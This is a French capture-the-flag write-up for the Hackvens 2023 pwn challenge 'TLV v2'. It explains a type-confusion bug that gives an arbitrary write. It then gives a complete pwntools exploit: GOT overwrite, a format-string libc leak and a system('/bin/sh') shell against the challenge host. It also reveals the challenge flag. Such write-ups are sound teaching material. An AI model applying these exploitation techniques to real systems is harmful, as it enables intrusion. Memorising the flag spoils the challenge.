[Hackvens 2023][Write Up – Pwn] TLV V2
Enoncé
Bon, il semblerait que mon premier essai n’était pas des meilleurs… J’ai amélioré mon programme pour y ajouter plus de sécurité.
nc 35.180.250.126 1337
![TLV v2 TLV v2](https://www.login-securite.com/wp-content/uploads/2023/11/tlv21.png)
TLV v2
Reconnaissance
Le binaire « TLV2.elf » qui est fourni est un exécutable linux x86-64.
![file tlvv2.elf file tlvv2.elf](https://www.login-securite.com/wp-content/uploads/2023/11/tlv22.png)
file tlvv2.elf
En termes de protections:
- Partial RELRO: La Global Offset Table (GOT) est réinscriptible.
- Canary: Protections contre les buffers overflow
- NX: La stack n’est pas exécutable
- No PIE: Les adresses du programme seront fixes
![checksec TLV2.elf checksec TLV2.elf](https://www.login-securite.com/wp-content/uploads/2023/11/tlv23.png)
checksec TLV2.elf
Reverse
Trois fonctions semblent importantes ici:
- get_tag
- get_value
- Main
![fonction get_tag fonction get_tag](https://www.login-securite.com/wp-content/uploads/2023/11/tlv24.png)
fonction get_tag
La fonction get_tag écrit un long int (de taille 8 bytes), provenant de stdin (entrée utilisateur), et l’écrit à l’adresse passée en argument.
![fonction get_value fonction get_value](https://www.login-securite.com/wp-content/uploads/2023/11/tlv25.png)
fonction get_value
La fonction get_value appelle la fonction getline, qui récupère l’entrée utilisateur, et l’alloue à l’adresse passée en argument. Si cette valeur est nulle, l’adresse sera allouée dans la heap.
Enfin, get_value retire s’il y en a un, le retour à la ligne.
![fonction main fonction main](https://www.login-securite.com/wp-content/uploads/2023/11/tlv26.png)
fonction main
La fonction main récupère un tag à l’adresse rbp-0x20, et récupère une valeur à l’adresse rbp-0x1c. Le programme récupère alors la taille de l’entrée utilisateur, et affiche le tag, la taille de l’entrée utilisateur, et l’entrée utilisateur.
La vulnérabilité
Le tag récupéré par la fonction get_tag est de taille 8 bytes. Cependant, la variable dans laquelle ce dernier est stocké est de taille 4 bytes, permettant de dépasser sur l’adresse envoyée dans get_value (qui sera envoyée en argument de getline). Ainsi, plutôt que d’envoyer un argument nul à get_value, il est possible d’y envoyer une adresse, et d’y réécrire son contenu.
On a donc un Arbitrary Write.
Exploitation – ret2main et préparation
Comme la GOT est réinscriptible, on va s’en servir pour réécrire les adresses des fonctions et les réarranger.
Premièrement, on va réécrire strlen, et la remplacer par l’adresse de main, pour pouvoir réécrire à l’infini.
Aussi, pour pouvoir commencer à lire la mémoire, on va remplacer la fonction strcspn (qui retirait le retour à la ligne dans l’entrée utilisateur), par la fonction printf, pour introduire une vulnérabilité format string, qui nous permettra de lire la mémoire.
from pwn import * r = remote('35.180.250.126',1337) #ret2main r.recvline() reloc_puts = 0x00404008 #On envoie reloc_puts en argument de la fonction get_value: val = 0xffffffff|reloc_puts<<32 payload = str(val).encode() r.sendline(payload) r.recvline() main = 0x00401373 printf = 0x00401070 #on remplacer les adresses dans la got: payload = p64(0x00401040)+p64(main)+p64(0x00401060)+p64(0x00401070)+p64(printf)+p64(0x00401090)+p64(0x004010a0)+p64(0x004010b0)+p64(0x004010c0) r.sendline(payload)
Exploitation – leak, et récupération d’un shell
![Memory leak Memory leak](https://www.login-securite.com/wp-content/uploads/2023/11/tlv27.png)
Memory leak
Maintenant que l’on peut leak la mémoire, on va récupérer l’adresse des fonctions de la GOT, pour pouvoir trouver l’adresse de la fonction system.
Pour cela, on va premièrement trouver l’adresse de notre entrée dans la mémoire. En regardant la stack, on peut voir que l’adresse que l’on a indiqué (le tag) se trouve en position 25, on peut donc récupérer l’adresse de puts dans la libc.
Ici en exécutant le programme en local:
![python solve.py.bak python solve.py.bak](https://www.login-securite.com/wp-content/uploads/2023/11/tlv28.png)
python solve.py.bak
Pour en savoir plus sur les formats string, n’hésitez pas à lire l’article sur l’épreuve du même CTF: rot13 as a service..
Après avoir discuté avec l’auteur de challenge, le programme tourne dans un docker Archlinux à jour. On peut alors s’en servir pour récupérer la libc et récupérer l’adresse de system:
docker run -t archlinux:latest docker ps #récupérer l'id du docker docker cp [id]:/usr/lib/libc.so.6 ./
Enfin, on peut remplacer l’adresse de strscpn par l’adresse de system. On peut écraser l’adresse juste avant pour que la chaine de caractère commence par « /bin/sh ».
Solve.py
from pwn import * r = remote('35.180.250.126',1337) #ret2main r.recvline() reloc_puts = 0x00404008 val = 0xffffffff|reloc_puts<<32 payload = str(val).encode() r.sendline(payload) r.recvline() main = 0x00401373 payload = p64(0x00401040) + p64(main)+p64(0x00401060)+p64(0x00401070)+p64(0x00401070)+p64(0x00401090)+p64(0x004010a0)+p64(0x004010b0)+p64(0x004010c0) r.sendline(payload) #leak_libc r.recvline() r.sendline(b'1') r.recvline() r.sendline(b'%25$s') leaked_puts = int.from_bytes(r.recvline()[:-1], 'little') libc_puts = 0x00079bf0 libc_start = leaked_puts - libc_puts libc_system = 0x0004f760 #system r.recvline() reloc_printf = 0x00404020 val = 0xffffffff|reloc_printf<<32 payload = str(val).encode() r.sendline(payload) r.recvline() payload = b'/bin/sh\x00'+p64(libc_start+libc_system) r.sendline(payload) r.interactive()
![Le flag \o/ Le flag \o/](https://www.login-securite.com/wp-content/uploads/2023/11/tlv29.png)
Le flag \o/
FLAG
HACKVENS{Typ3_C0nfUs10n1337}
![](https://www.login-securite.com/wp-content/uploads/2021/11/Bdenneu.png)